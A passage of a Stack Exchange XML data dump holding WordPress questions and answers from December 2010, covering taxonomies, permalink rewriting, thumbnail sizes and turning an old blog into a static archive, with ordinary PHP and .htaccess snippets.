  <row Id="6101" PostTypeId="2" ParentId="6098" CreationDate="2010-12-29T21:11:38.350" Score="2" ViewCount="" Body="&lt;p&gt;No problem, the categories and tags are also registered as taxonomies that you can pass to the &lt;code&gt;taxonomies&lt;/code&gt; argument when you call &lt;code&gt;register_post_type()&lt;/code&gt;. Categories are &lt;code&gt;category&lt;/code&gt; and tags are &lt;code&gt;post_tag&lt;/code&gt;. You can also do this later with &lt;code&gt;register_taxonomy_for_object_type()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse6098_init', 100 ); // 100 so the post type has been registered&#xA;function wpse6098_init()&#xA;{&#xA;    register_taxonomy_for_object_type( 'category', 'your_custom_post_type' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-29T21:11:38.350" CommentCount="1" />
  <row Id="6102" PostTypeId="2" ParentId="6096" CreationDate="2010-12-29T21:15:20.313" Score="1" ViewCount="" Body="&lt;p&gt;I am late with answer, but here is my take anyway. Slight differences and that selective filter add.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_head-user-edit.php', 'setup_user_edit');&#xA;&#xA;function setup_user_edit() {&#xA;&#xA;    add_filter('gettext', 'change_profile_labels');&#xA;}&#xA;&#xA;function change_profile_labels($input) {&#xA;&#xA;    if ('Nickname' == $input)&#xA;        return 'Nickname replacement';&#xA;&#xA;    if ('Biographical Info' == $input)&#xA;        return 'Biographical Info replacement';&#xA;&#xA;    return $input;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-12-29T21:15:20.313" CommentCount="3" />
  <row Id="6103" PostTypeId="1" CreationDate="2010-12-29T21:35:28.607" Score="1" ViewCount="527" Body="&lt;p&gt;I have a few custom thumbnail sizes and obviously one of them is used in the set_post_thumbnail_size, what directly affects the interface in the admin area. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'm looking to do is to intercept which admin page (for post-type) I'm in and set a different size in the above function, so basically I'd like to have that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function setup_the_theme() {&#xA;&#xA;    add_theme_support( 'post-thumbnails' );&#xA;&#xA;        if ($post_type == 'type_A'){&#xA;            set_post_thumbnail_size( 298, 167, true ); //portrait&#xA;        } else {&#xA;            set_post_thumbnail_size( 192, 108, true ); //landscape&#xA;        }&#xA;&#xA;    add_image_size( 'top_articles', 298, 167, true ); //portrait&#xA;    add_image_size( 'article_thumb', 203, 114, true ); //portrait&#xA;    add_image_size( 'featured_articles', 60, 200, true ); //landscape&#xA;&#xA;}&#xA;add_action( 'after_setup_theme', 'setup_the_theme' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I suspect its too early in the cycle to know which post type i'm editing.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2010-12-30T17:54:03.427" Title="change set_post_thumbnail_size according to post type admin page" Tags="&lt;set-post-thumbnail-size&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="6104" PostTypeId="1" AcceptedAnswerId="6112" CreationDate="2010-12-29T21:36:08.943" Score="0" ViewCount="334" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6106/remove-parent-category-from-permalink-basically-only-have-the-child-category&quot;&gt;Remove parent category from permalink?  Basically only have the child category?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;We've seen plugins to do this, and a lot of people with different code modifications.  We really would like to achieve this the cleanest and simplest way possible, without worrying about out-dated plugins or causing problems with too many mods.&lt;/p&gt;&#xA;" OwnerUserId="2194" LastActivityDate="2010-12-29T22:55:49.577" ClosedDate="2011-01-26T15:11:24.863" Title="Best and Cleanest way to remove /category/ from category permalinks?" Tags="&lt;3.0&gt;&lt;categories&gt;&lt;permalinks&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="6105" PostTypeId="2" ParentId="6103" CreationDate="2010-12-29T21:49:18.130" Score="0" ViewCount="" Body="&lt;p&gt;I'll repeat &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4563/add-image-size-for-specific-post-types/4565#4565&quot;&gt;an earlier answer to a similar question&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;There is no way to base the image sizes on the post type, as images are not yet attached to a post when you upload them and the intermediate image sizes are created (when you just add them via &quot;New Media&quot; they are not even attached to any post at all).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;However, that answer contains info about &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1463/resizing-images-to-the-actual-size-used-in-the-editor/4012#4012&quot;&gt;plugins I wrote&lt;/a&gt; that together probably can do what you want: use multiple image sizes, but only create the images you actually use.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-29T21:49:18.130" />
  <row Id="6106" PostTypeId="1" AcceptedAnswerId="6114" CreationDate="2010-12-29T22:03:12.940" Score="0" ViewCount="554" Body="&lt;p&gt;I think there used to be an out-dated plugin to do this.  Is there any way to do this easily with just a little code?  We prefer not to rely on a plugin since that makes us dependent on the developer to keep it up-to-date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We only have two parent categories we would like to remove for all of their child-category permalinks: &quot;items&quot; and &quot;genres&quot; (so it could be tailored to just removing two category IDs)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that there was a solution with the individual posts &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4095/filtering-categories-in-the-permalink-structure&quot;&gt;here&lt;/a&gt;, but I don't think this works with the category permalinks as well, does it ?&lt;/p&gt;&#xA;" OwnerUserId="2194" LastActivityDate="2011-07-11T10:16:55.667" Title="Remove parent category from permalink? Basically only have the child category?" Tags="&lt;categories&gt;&lt;permalinks&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="6107" PostTypeId="2" ParentId="2802" CreationDate="2010-12-29T22:25:04.507" Score="0" ViewCount="" Body="&lt;p&gt;I found this solution useful:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//if the post has a parent&#xA;$the_last_ancestor = 0;&#xA;&#xA;if($post-&amp;gt;post_parent){&#xA;  //collect ancestor pages&#xA;  $relations = get_post_ancestors($post-&amp;gt;ID);&#xA;&#xA;  foreach ( $relations as $ancestor ) {&#xA;    $the_last_ancestor = $ancestor;&#xA;  }&#xA;&#xA;&#xA;    // use wp_list_pages to display parent and all child pages all generations (a tree with parent)&#xA;    $parent = $the_last_ancestor;&#xA;    $args=array(&#xA;      'child_of' =&amp;gt; $parent&#xA;    );&#xA;    $pages = get_pages($args);  &#xA;    if ($pages) {&#xA;      $pageids = array();&#xA;      foreach ($pages as $page) {&#xA;        $pageids[]= $page-&amp;gt;ID;&#xA;      }&#xA;&#xA;      $args=array(&#xA;        'title_li' =&amp;gt; '',&#xA;        'include' =&amp;gt;  $parent . ',' . implode(&quot;,&quot;, $pageids)&#xA;      );&#xA;      print('&amp;lt;ul id=&quot;section-menu&quot;&amp;gt;'); &#xA;        wp_list_pages($args);&#xA;      print('&amp;lt;/ul&amp;gt;');&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastActivityDate="2010-12-29T22:25:04.507" CommentCount="2" />
  <row Id="6108" PostTypeId="1" AcceptedAnswerId="6110" CreationDate="2010-12-29T22:33:18.327" Score="1" ViewCount="35" Body="&lt;p&gt;I want to write a simple plugin.&#xA;For every time a page is viewed, it will write to the MySQL database.&#xA;Then, if the current hour is odd, it will set a PHP variable of $is_odd to true;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;  require_once('library-of-functions-to-support-this-plugin.php');&#xA;  function_to_write_to_mysql_db();&#xA;  $is_odd = false;&#xA;  if(current_hour_odd()) {&#xA;    $is_odd=true;&#xA;  }&#xA;  $is_odd_json = json_encode($is_odd);&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, it should embed the following JavaScript (note: I've already modified the theme's templates to put an  on each page):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot; src=&quot;jquery.js&quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;   var odd = &amp;lt;?php echo $is_odd_json; ?&amp;gt;;&#xA;   if(odd) {&#xA;      $(&quot;#OddElement&quot;).html('Odd!');&#xA;   }&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So basically, I have no idea where to put these code snippets. What filters do I want to apply? I know this plugin seems stupid, but it's laying the groundwork for something else I want to do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks so much!&lt;/p&gt;&#xA;" OwnerUserId="2207" LastActivityDate="2010-12-29T22:36:13.783" Title="What filters to call to modify the output of the entire page?" Tags="&lt;plugin-development&gt;" AnswerCount="1" />
  <row Id="6109" PostTypeId="1" CreationDate="2010-12-29T22:35:06.503" Score="5" ViewCount="204" Body="&lt;p&gt;I am starting a new wordpress blog, and no longer updating an old one.&#xA;The old one still gets 400-500 hits a day, so I would like to keep it up for archival purposes, as people still link to its posts.&#xA;Obviously there is the problem that wordpress and plugins will be updated, and I have no desire to maintain it.&#xA;How can I lock the installation of wordpress down so I don't need to maintain it?&#xA;I have seen someone suggest making a static version, which sounds like alot of work. A more reasonable solution I thought of was to disable write access to the database at the database user level. I'm fine with disabling comments from now on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Feel free to share any thoughts or comments on this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1757" LastEditorUserId="1757" LastEditorDisplayName="" LastEditDate="2010-12-29T23:09:26.267" LastActivityDate="2010-12-29T23:55:39.457" Title="How can I lock down an old wordpress install I don't intend to update?" Tags="&lt;archive&gt;&lt;security&gt;&lt;update&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="6110" PostTypeId="2" ParentId="6108" CreationDate="2010-12-29T22:36:13.783" Score="2" ViewCount="" Body="&lt;p&gt;You could attach the to wp_head action&#xA;&lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference/wp_head&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API/Action_Reference/wp_head&lt;/a&gt;&lt;/p&gt;&#xA;" LastActivityDate="2010-12-29T22:36:13.783" />
  <row Id="6111" PostTypeId="1" AcceptedAnswerId="6120" CreationDate="2010-12-29T22:38:45.873" Score="0" ViewCount="154" Body="&lt;p&gt;Basically, I'd like to create a category permalink like example.com/books/adventure without having to make adventure a child-category because it will apply to other categories as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the end result is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/books/adventure&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/movies/adventure&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/toys/adventure&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The order is based on the two parent categories, with &quot;items&quot; going first, and &quot;genre&quot; going second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you could also search the categories separately to see all of the books, or all of the adventure items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="2194" LastEditorUserId="2194" LastEditorDisplayName="" LastEditDate="2011-01-14T03:20:29.857" LastActivityDate="2011-01-14T03:20:29.857" Title="How can I create a permalink with two categories, with the order based on the parent category?" Tags="&lt;3.0&gt;&lt;categories&gt;&lt;permalinks&gt;" AnswerCount="3" CommentCount="1" />
  <row Id="6112" PostTypeId="2" ParentId="6104" CreationDate="2010-12-29T22:47:00.673" Score="0" ViewCount="" Body="&lt;p&gt;Not sure how clean or easy this is, but it seems to work.  This code pretty much does the job for this question and another one about removing the parent category from the permalinks.  Got it from a plugin that does this, and decided to just use the raw code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the permalinks only have the lowest child-category listed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, we had:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/category/items/books/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and now...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/books&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The RSS feeds, however, don't seem to work with this shorter url, and still require the long-form url.  (Not sure if there's a fix for that.) Paste the code below into your functions.php file.  I'm using Wordpress 3.0+.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Remove category base&#xA;add_filter('category_link', 'no_category_parents',1000,2);&#xA;function no_category_parents($catlink, $category_id) {&#xA;    $category = &amp;amp;get_category( $category_id );&#xA;    if ( is_wp_error( $category ) )&#xA;        return $category;&#xA;    $category_nicename = $category-&amp;gt;slug;&#xA;&#xA;    $catlink = trailingslashit(get_option( 'home' )) . user_trailingslashit( $category_nicename, 'category' );&#xA;    return $catlink;&#xA;}&#xA;&#xA;// Add our custom category rewrite rules&#xA;add_filter('category_rewrite_rules', 'no_category_parents_rewrite_rules');&#xA;function no_category_parents_rewrite_rules($category_rewrite) {&#xA;    //print_r($category_rewrite); // For Debugging&#xA;&#xA;    $category_rewrite=array();&#xA;    $categories=get_categories(array('hide_empty'=&amp;gt;false));&#xA;    foreach($categories as $category) {&#xA;        $category_nicename = $category-&amp;gt;slug;&#xA;        $category_rewrite['('.$category_nicename.')/(?:feed/)?(feed|rdf|rss|rss2|atom)/?$'] = 'index.php?category_name=$matches[1]&amp;amp;feed=$matches[2]';&#xA;        $category_rewrite['('.$category_nicename.')/page/?([0-9]{1,})/?$'] = 'index.php?category_name=$matches[1]&amp;amp;paged=$matches[2]';&#xA;        $category_rewrite['('.$category_nicename.')/?$'] = 'index.php?category_name=$matches[1]';&#xA;    }&#xA;    // Redirect support from Old Category Base&#xA;    global $wp_rewrite;&#xA;    $old_base = $wp_rewrite-&amp;gt;get_category_permastruct();&#xA;    $old_base = str_replace( '%category%', '(.+)', $old_base );&#xA;    $old_base = trim($old_base, '/');&#xA;    $category_rewrite[$old_base.'$'] = 'index.php?category_redirect=$matches[1]';&#xA;&#xA;    //print_r($category_rewrite); // For Debugging&#xA;    return $category_rewrite;&#xA;}&#xA;&#xA;// Add 'category_redirect' query variable&#xA;add_filter('query_vars', 'no_category_parents_query_vars');&#xA;function no_category_parents_query_vars($public_query_vars) {&#xA;    $public_query_vars[] = 'category_redirect';&#xA;    return $public_query_vars;&#xA;}&#xA;// Redirect if 'category_redirect' is set&#xA;add_filter('request', 'no_category_parents_request');&#xA;function no_category_parents_request($query_vars) {&#xA;    //print_r($query_vars); // For Debugging&#xA;    if(isset($query_vars['category_redirect'])) {&#xA;        $catlink = trailingslashit(get_option( 'home' )) . user_trailingslashit( $query_vars['category_redirect'], 'category' );&#xA;        status_header(301);&#xA;        header(&quot;Location: $catlink&quot;);&#xA;        exit();&#xA;    }&#xA;    return $query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2194" LastEditorUserId="2194" LastEditorDisplayName="" LastEditDate="2010-12-29T22:55:49.577" LastActivityDate="2010-12-29T22:55:49.577" CommentCount="1" />
  <row Id="6113" PostTypeId="2" ParentId="6109" CreationDate="2010-12-29T22:47:11.277" Score="3" ViewCount="" Body="&lt;p&gt;With a dynamic CMS like WordPress, there is no real way to &quot;lock it down.&quot;  As the web evolves, formerly unknown security holes are discovered and patched in new versions.  In reality, unless you're always running the latest version of WordPress (currently 3.0.4), your site is in some way vulnerable.  If you don't intend to ever update it again, creating a static version is the best and safest option - &lt;strong&gt;&lt;em&gt;not&lt;/em&gt;&lt;/strong&gt; &quot;crazy talk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A strong possibility is to use a caching plug-in and set the cache to never expire.  The plug-in will automatically create static versions of your pages as they're needed.  Your links will still work, and people will be directed to the static HTML versions of each post and page rather than the dynamic, database generated ones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By generating a static version, you won't need to worry about database updates, WordPress updates, plug-in upgrades, or new versions of themes.  It becomes maintenance-free, but is also &quot;frozen&quot; in the sense that comments won't work and you can't add new content ... which is probably fine in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another alternative is to keep things dynamic and outsource the task of updating your site.  Have someone like WordPress.com host the site and point all of your links to that version of the site.  The hosted service (particularly that one) will always have the latest security patches without any intervention from you.&lt;/p&gt;&#xA;" OwnerUserId="46" LastActivityDate="2010-12-29T22:47:11.277" CommentCount="3" />
  <row Id="6114" PostTypeId="2" ParentId="6106" CreationDate="2010-12-29T22:53:59.407" Score="1" ViewCount="" Body="&lt;p&gt;This code pretty much does the job for this question and another one about removing the /category/ base from the permalinks. Got it from a plugin that does this, and decided to just use the raw code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the permalinks only have the lowest child-category listed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, we had:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/category/items/books/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and now...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/books&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The RSS feeds, however, don't seem to work with this shorter url, and still require the long-form url. (Not sure if there's a fix for that.) Also, it doesn't change the post permalink.  It's just the category permalink that changes.  Paste the code below into your functions.php file. I'm using Wordpress 3.0+.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Remove category base&#xA;add_filter('category_link', 'no_category_parents',1000,2);&#xA;function no_category_parents($catlink, $category_id) {&#xA;    $category = &amp;amp;get_category( $category_id );&#xA;    if ( is_wp_error( $category ) )&#xA;        return $category;&#xA;    $category_nicename = $category-&amp;gt;slug;&#xA;&#xA;    $catlink = trailingslashit(get_option( 'home' )) . user_trailingslashit( $category_nicename, 'category' );&#xA;    return $catlink;&#xA;}&#xA;&#xA;// Add our custom category rewrite rules&#xA;add_filter('category_rewrite_rules', 'no_category_parents_rewrite_rules');&#xA;function no_category_parents_rewrite_rules($category_rewrite) {&#xA;    //print_r($category_rewrite); // For Debugging&#xA;&#xA;    $category_rewrite=array();&#xA;    $categories=get_categories(array('hide_empty'=&amp;gt;false));&#xA;    foreach($categories as $category) {&#xA;        $category_nicename = $category-&amp;gt;slug;&#xA;        $category_rewrite['('.$category_nicename.')/(?:feed/)?(feed|rdf|rss|rss2|atom)/?$'] = 'index.php?category_name=$matches[1]&amp;amp;feed=$matches[2]';&#xA;        $category_rewrite['('.$category_nicename.')/page/?([0-9]{1,})/?$'] = 'index.php?category_name=$matches[1]&amp;amp;paged=$matches[2]';&#xA;        $category_rewrite['('.$category_nicename.')/?$'] = 'index.php?category_name=$matches[1]';&#xA;    }&#xA;    // Redirect support from Old Category Base&#xA;    global $wp_rewrite;&#xA;    $old_base = $wp_rewrite-&amp;gt;get_category_permastruct();&#xA;    $old_base = str_replace( '%category%', '(.+)', $old_base );&#xA;    $old_base = trim($old_base, '/');&#xA;    $category_rewrite[$old_base.'$'] = 'index.php?category_redirect=$matches[1]';&#xA;&#xA;    //print_r($category_rewrite); // For Debugging&#xA;    return $category_rewrite;&#xA;}&#xA;&#xA;// Add 'category_redirect' query variable&#xA;add_filter('query_vars', 'no_category_parents_query_vars');&#xA;function no_category_parents_query_vars($public_query_vars) {&#xA;    $public_query_vars[] = 'category_redirect';&#xA;    return $public_query_vars;&#xA;}&#xA;// Redirect if 'category_redirect' is set&#xA;add_filter('request', 'no_category_parents_request');&#xA;function no_category_parents_request($query_vars) {&#xA;    //print_r($query_vars); // For Debugging&#xA;    if(isset($query_vars['category_redirect'])) {&#xA;        $catlink = trailingslashit(get_option( 'home' )) . user_trailingslashit( $query_vars['category_redirect'], 'category' );&#xA;        status_header(301);&#xA;        header(&quot;Location: $catlink&quot;);&#xA;        exit();&#xA;    }&#xA;    return $query_vars;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2194" LastActivityDate="2010-12-29T22:53:59.407" />
  <row Id="6115" PostTypeId="2" ParentId="6103" CreationDate="2010-12-29T22:54:04.913" Score="0" ViewCount="" Body="&lt;p&gt;There is an &lt;code&gt;intermediate_image_sizes&lt;/code&gt; filter in the function &lt;strong&gt;wp_generate_attachment_metadata&lt;/strong&gt;. The problem is, it doesn't have the post type passed as part of the context. Here's one way of getting around that problem, by setting a transient with the value of the post type on the media upload popup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'admin_head-media-upload-popup', 'define_post_type' );&#xA;&#xA;function define_post_type() {&#xA;    $referring_string = explode('?',$_SERVER['HTTP_REFERER']);&#xA;    if ($referring_string[1]) parse_str( $referring_string[1] );&#xA;    else $post_type = 'post';&#xA;    set_transient('current_upload_parent_type',$post_type);&#xA;}&#xA;&#xA;add_filter( 'intermediate_image_sizes_advanced', &#xA;     'set_thumbnail_size_by_post_type', 10);&#xA;&#xA;function set_thumbnail_size_by_post_type( $sizes ) {&#xA;&#xA;    $post_type = get_transient( 'current_upload_parent_type' );&#xA;    delete_transient( 'current_upload_parent_type' );&#xA;&#xA;    switch ($post_type) :&#xA;        case 'type_A' :&#xA;            $sizes['post-thumbnail'] = array( &#xA;                         'width' =&amp;gt; 298, 'height' =&amp;gt; 167, 'crop' =&amp;gt; true);&#xA;            break;&#xA;        default :&#xA;            $sizes['post-thumbnail'] = array( &#xA;                         'width' =&amp;gt; 192, 'height' =&amp;gt; 108, 'crop' =&amp;gt; true);&#xA;            break;&#xA;    endswitch;&#xA;&#xA;    return $sizes;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think this should do the trick, although there probably is a more elegant way of doing this than setting a transient (and as it is, its not bulletproof - two simultaneous image uploads run the risk of getting their post types crossed, and images uploaded through the &quot;New Media&quot; panel may inherit the post type from the last image uploaded on the post screen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe someone can improve on this?&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Edit:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;I knew there had to be a better way of doing this. Ignore the function hooked on &lt;code&gt;admin_head-media-upload-popup&lt;/code&gt; and follow @somatic 's answer for checking the post type. You can still set the post-thumbnail size based on post type in &lt;code&gt;intermediate_image_sizes_advanced&lt;/code&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2010-12-30T17:54:03.427" LastActivityDate="2010-12-30T17:54:03.427" />
  <row Id="6116" PostTypeId="2" ParentId="4563" CreationDate="2010-12-29T23:41:43.330" Score="0" ViewCount="" Body="&lt;p&gt;I posted some code on &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6103/change-set-post-thumbnail-size-according-to-post-type-admin-page&quot;&gt;this other thread&lt;/a&gt; which sets a transient with the post type when uploading an image, and then checks for the value of that transient and adjusts the post-thumbnail size accordingly when the upload is finished. Its not perfect or bulletproof, but it should demonstrate the concept at least.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2010-12-29T23:41:43.330" />
  <row Id="6117" PostTypeId="2" ParentId="6109" CreationDate="2010-12-29T23:55:39.457" Score="5" ViewCount="" Body="&lt;p&gt;Howdy! I think your question is really of use as it represents a very valid and clear scenario.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The scope of your question is important:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;disabled write access to the database. &lt;/li&gt;&#xA;&lt;li&gt;I'm fine with disabling comments from now on.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The second point is not that important for my answer, as you could understand user content as &quot;your&quot; content probably.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As long as you are using mod_rewrite to display you blog (&lt;em&gt;Pretty Permalinks&lt;/em&gt; is the catch-phrase in the wordpress world) you've got the power to do a quick finishing move while retaining your blog in full.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I suggest is to make a static copy of your blog by using a very fundamental webhosting/php/static technique. It's basically making use of the benefit of abstraction through webservers/HTTP: The Browser does not care if you're running a webapplication any longer (here: wordpress blog) or the webserver is serving static pages only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress has this already somehow built in. It's all working on the server level in httpd.conf or .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The webserver checks if the file exists. If so, it will return the static file. If not, it will call wordpress instead. If you compare this to the standard setting of wordpress .htaccess for pretty permalinks:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteBase /blog/&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteRule . /blog/index.php [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can see that it's checked for an inexisting file and directory first. Now imagine that index.php would not just return the requested locations content but would while doing so, save the content as a file in the file-system, of which the previous checks would have returned TRUE to, so to serving the static file instead of calling the webapplicaiton.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the magic is already in. Once existing, this is a &quot;cache&quot; that never expires until you delete the static files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This principle by the way is a very old one. It's known to be the &quot;PHP way&quot; by some. The first request generates the full page, the second request won't probably even no longer need mod_rewrite. It's nothing I've invented either, oh dude I loved &lt;a href=&quot;http://httpd.apache.org/docs/1.3/misc/rewriteguide.html&quot; rel=&quot;nofollow&quot;&gt;this document by Ralf S. Engelschall dating back to December 1997&lt;/a&gt;, look for On-the-fly Content-Regeneration:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;On-the-fly Content-Regeneration&lt;/h2&gt;&#xA;  &#xA;  &lt;h3&gt;Description:&lt;/h3&gt;&#xA;  &#xA;  &lt;p&gt;Here comes a really esoteric feature: Dynamically generated but statically served pages, i.e. pages should be delivered as pure static pages (read from the filesystem and just passed through), but they have to be generated dynamically by the webserver if missing. This way you can have CGI-generated pages which are statically served unless one (or a cronjob) removes the static contents. Then the contents gets refreshed.&lt;/p&gt;&#xA;  &#xA;  &lt;h3&gt;Solution:&lt;/h3&gt;&#xA;  &#xA;  &lt;p&gt;This is done via the following ruleset:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; RewriteCond %{REQUEST_FILENAME}   !-s&#xA; RewriteRule ^page\.html$          page.cgi   [T=application/x-httpd-cgi,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Here a request to page.html leads to a internal run of a corresponding page.cgi if&#xA;  page.html is still missing or has filesize null. The trick here is that page.cgi is a usual CGI script which (additionally to its STDOUT) writes its output to the file page.html. Once it was run, the server sends out the data of page.html. When the webmaster wants to force a refresh the contents, he just removes page.html (usually done by a cronjob).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;(quoted from the linked document, just search for it)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically with this approach you can solve your problem. If you get 100% URL coverage and therefore all your documents generated, you can even shut down the mysqldb. This is something I would aim for: A full, static version of your website. This makes it even very easy to migrate to an &quot;archive&quot; server, so some server that is just serving and job done.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How to freeze to static with Wordpress?&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Here is a little bit of code that is basically injecting &quot;output to disc&quot; into any PHP based application. Feel free to use it for whatever you see fit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class htmlCached {&#xA;    static $instance;&#xA;&#xA;    public static function bootstrap() {&#xA;        $file = $_SERVER['REQUEST_URI'];&#xA;        if ( '/' == substr($file, -1)) {&#xA;            $file .= 'index.html';&#xA;        }&#xA;        $self = dirname($_SERVER['PHP_SELF']).'/';&#xA;&#xA;        if ($self != substr($file, 0, strlen($self))) {&#xA;            return;&#xA;        }&#xA;&#xA;        $local = substr($file, strlen($self));&#xA;&#xA;        // var_dump($file, $local, $self, $_SERVER);&#xA;        self::$instance = new htmlCached($local);&#xA;    }&#xA;&#xA;    private $_file = '';&#xA;    public function __construct($file) {&#xA;        $this-&amp;gt;_file = $file;&#xA;        ob_start(array($this, 'callback'));&#xA;    }&#xA;    public function callback($buffer) {&#xA;        $file = $this-&amp;gt;_file;&#xA;        file_put_contents($file, $buffer);&#xA;        chmod($file, 0644);  // octal; correct value of mode&#xA;        return $buffer;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You might need this to adopt for wordpress a bit (as this is not from a wordpress install), but basically it has all you need:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;wp-config.php is a very first entry point, you can hack index.php for a more direct approach as well. Inject the class definition into index.php. Index.php is the so called front-end-controller for most anything worpdress.&lt;/li&gt;&#xA;&lt;li&gt;add a 